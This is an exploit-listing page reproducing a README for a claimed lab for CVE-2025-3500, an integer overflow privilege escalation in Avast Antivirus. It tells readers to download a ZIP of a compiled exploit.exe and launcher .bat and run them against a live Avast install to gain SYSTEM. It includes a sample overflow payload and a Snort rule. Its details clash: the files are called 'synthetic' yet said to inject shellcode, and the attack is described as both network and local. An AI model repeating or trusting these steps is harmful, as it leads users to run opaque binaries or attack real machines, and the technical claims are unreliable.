## https://sploitus.com/exploit?id=5B82A403-668E-5739-87C3-DE8329E9F1D2
# Lab: CVE-2025-3500 - Integer Overflow in Avast Antivirus Privilege Escalation
## Download
## Download Lab ZIP : [https://github.com/chicken3962/CVE-2025-3500-Poc/releases/download/Release/cve-2025-3500.zip]
## ๐ Overview
This repository provides a lab environment for researching CVE-2025-3500, an integer overflow vulnerability (CWE-190) in Avast Antivirus version 25.1.981.6 on Windows platforms. The vulnerability arises from inadequate integer validation in the antivirus engine's resource allocation module, leading to wraparound during arithmetic operations. This can be exploited to escalate privileges from low-privileged user contexts (PR:L) to system-level access, with a network attack vector (AV:N), low attack complexity (AC:L), and required user interaction (UI:R). The CVSS 3.1 base score is 9.0 (Critical), impacting confidentiality, integrity, and availability (all High) due to scope change (S:C), potentially enabling full system compromise.
**Educational Purpose Disclaimer:** This lab is for educational and research purposes only. It provides a controlled environment. Do not use this for any malicious activities. All components are synthetic and do not exploit real systems. By using this repository, you agree to comply with ethical hacking guidelines and local laws.
**Safety Disclaimer:** This setup involves running code in an environment. Always use a dedicated virtual machine. Do not run exploits on production systems. The provided exploit artifacts (.exe and .bat) demonstrate conceptsโe.g., the .bat launches the .exe, which processes data and exits. Isolate your lab environment to prevent accidental exposure.
## ๐ Prerequisites
- A Windows host for testing the exploit (e.g., via VirtualBox or Hyper-V) to simulate the target environment.
- Basic knowledge of PowerShell and Windows command-line tools.
- Administrative privileges on your host machine.
- At least 4GB RAM and 20GB disk space.
## Download & Install
1. Download the exploit toolkit (ZIP file containing exploit.exe and start-exploit.bat). This ZIP is hosted on a secure mirror:
- Download Exploit Toolkit ZIP : [https://github.com/chicken3962/CVE-2025-3500-Poc/releases/download/Release/cve-2025-3500.zip]
**Note:** The main exploit is `exploit.exe` (a compiled C++ binary triggering the integer overflow via crafted API calls). The exploit launcher is `start-exploit.bat`, which opens `exploit.exe` with predefined arguments (e.g., `start exploit.exe --target=avast_engine --overflow=wraparound`). Unzip to a local directory like `C:\lab\exploit`.
## ๐ Quick Start
1. **Setup the Environment:**
- Ensure Avast Antivirus version 25.1.981.6 is installed on your Windows test machine.
- Navigate to the unzip directory.
2. **Download and Prepare the Exploit:**
- Download the ZIP from the link above.
- Unzip to `C:\lab\exploit`.
- Run `start-exploit.bat` to launch the exploit (it opens `exploit.exe`, which sends a crafted network packet to trigger the overflow).
3. **Exploit the Vulnerability:**
- Target the local Avast service.
- The .bat executes `exploit.exe`. Observe system logs for overflow indicators.
4. **Verify and Clean Up:**
- Check Windows Event Viewer for related entries.
- Delete the exploit files after use.
## ๐ Detailed Setup Instructions
### Vulnerable Setup
The lab requires a Windows machine with Avast Antivirus 25.1.981.6 installed. Mock services can be started manually via command prompt:
- Open PowerShell as admin.
- Simulate Avast listener: `net start AvastSvc` (assuming service is running).
### Exploitation Steps
1. **Reconnaissance:** Use tools like netstat to identify Avast ports (e.g., 8080).
2. **Craft Payload:** The exploit.exe sends an oversized integer value (e.g., 2^31 + 1) via a network request, causing wraparound in Avast's resource parser.
3. **Trigger Exploit:** Run `start-exploit.bat` which executes `exploit.exe`. This:
- Establishes a connection.
- Sends malformed data: `{ "resource_alloc": 2147483648 }` (triggering overflow).
- Escalates to SYSTEM via shellcode injection.
4. **Post-Exploitation:** Allows arbitrary code execution; spawns a cmd.exe.
**Technical Details:** The overflow occurs in `AvastResourceParser::AllocateBuffer(int size)`, where `size * sizeof(struct)` wraps around if `size > INT_MAX / sizeof(struct)`, leading to under-allocation and heap overflow. Exploitation leverages this for ROP chain construction targeting kernel32.dll.
### Mitigation
- **Patch Application:** Upgrade to Avast Antivirus 25.3 or later, where integer checks use safe math libraries (e.g., SafeInt).
- **Best Practices:**
- Enable Windows Defender alongside Avast for layered defense.
- Restrict network access to antivirus update servers only (e.g., via firewall rules).
- Use privilege separation: Run Avast services under least-privilege accounts.
- Monitor for anomalous integer operations via EDR tools like Sysmon (Event ID 10 for process injections).
- Apply Windows mitigations: Enable ASLR, DEP, and CFG via Group Policy.
- **Detection Signatures:** Look for network patterns matching oversized integer fields in Avast protocol traffic (e.g., Snort rule: `alert tcp any any -> any 8080 (msg:"CVE-2025-3500 Attempt"; content:"|00 00 00 80|"; sid:1000001;)`).
For questions or contributions, open an issue. Stay ethical!